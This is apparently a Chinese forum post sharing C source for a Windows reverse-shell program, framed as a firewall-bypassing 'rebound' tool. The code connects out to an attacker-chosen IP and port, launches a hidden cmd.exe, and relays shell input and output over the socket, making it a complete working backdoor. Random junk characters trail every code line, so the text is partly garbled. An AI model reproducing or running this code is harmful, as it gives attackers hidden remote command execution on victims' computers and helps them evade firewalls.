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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {.We%{4V  
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/* ============================== ^ ,Bxq^'D  
Rebound port in Windows NT &/7AW(?  
By wind,2006/7 "jVMk  
===============================*/ T x_n$ &  
#include 13]sZ([B%|  
#include vXnTPjbE  
;X u&['  
#pragma comment(lib,"wsock32.lib") <!\J([NM8  
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void OutputShell(); I3xx}^V  
SOCKET sClient; BPnZ"w_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,=tVa])  
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void main(int argc,char **argv) A$RN7#  
{ 9-+6Ed^2  
WSADATA stWsaData; x C'>W"pY  
int nRet; DVYY1!j<  
SOCKADDR_IN stSaiClient,stSaiServer; 63QSYn,t  
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if(argc != 3) " [=Ee[/  
{ 39 JLi~j,  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~e[)]b3  
return; 0\AYUa?RM  
} B@]( ,  
L4aT=of-  
WSAStartup(MAKEWORD(2,2),&stWsaData); I\sCH  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #(@dN+  
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stSaiClient.sin_family = AF_INET; apUV6h-v  
stSaiClient.sin_port = htons(0); F!VC19<1O8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 17G7r\iNYq  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d]h[]Su/?  
{ n<7#?X7  
printf("Bind Socket Failed!\n"); M`umfw T  
return; H7)(<6b,z  
} ^HHJ.QR  
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stSaiServer.sin_family = AF_INET; J3Q.6e=7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); SSi}1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (@`+Le  
*#EyfMz-B  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xYM! mcA  
{ SZc6=^$  
printf("Connect Error!"); m%q#x8Fp  
return; A0S6 4(  
} 1K,bmb xRt  
OutputShell(); qO>BF/)a(  
} w IT`OT6Q  
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void OutputShell() D?]aYCT  
{ hGF:D#jyT  
char szBuff[1024]; k+-u 4W   
SECURITY_ATTRIBUTES stSecurityAttributes; 6R@ v>}  
OSVERSIONINFO stOsversionInfo; G\TyXq_4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dvsOJj/b  
STARTUPINFO stStartupInfo; wmY6&^?uS  
char *szShell; 9VkuYm,3  
PROCESS_INFORMATION stProcessInformation; yq[C?N &N  
unsigned long lBytesRead; -BACdX  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); QsI>_<r  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bQ0m=BzF  
stSecurityAttributes.lpSecurityDescriptor = 0; [m!\ZK  
stSecurityAttributes.bInheritHandle = TRUE; kvSSz%R~  
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? _[gs/i}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); rMpb  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )0PUK9  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^`=Z=C$fj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G?=X!up(  
stStartupInfo.wShowWindow = SW_HIDE; ^']xkS  
stStartupInfo.hStdInput = hReadPipe; {Ca#{LeLk  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :?jOts>uP  
nb'],({:9  
GetVersionEx(&stOsversionInfo); Z\i@Qa+r  
sh}=#eb  
switch(stOsversionInfo.dwPlatformId) HnioB=fc  
{ 5Z6$90!k  
case 1: Y.F:1<FAtf  
szShell = "command.com"; 3j<] W  
break; athU  
default: <J{VTk ~  
szShell = "cmd.exe"; C/_W>H_   
break; E+>Qpy  
} OMO.-p  
hRxR2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4\ H;A  
F7#   
send(sClient,szMsg,77,0); 292e0cE  
while(1) 7qgHH p  
{ *'PG@S  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q>JJI:uC4  
if(lBytesRead) mm\J]Cc`  
{ '`\\O:@C`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %{&yXi:mS  
send(sClient,szBuff,lBytesRead,0); N!/^s":  
} Z!~~6Sq  
else ,V.X-`Y  
{ >UZfi u  
lBytesRead=recv(sClient,szBuff,1024,0); uUwwR(R  
if(lBytesRead<=0) break; )@\= pE.H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k1_f7_m  
} z[}[:H8  
} 1nX/5z_U  
zg0)9 br  
return; <8+.v6DCd  
}
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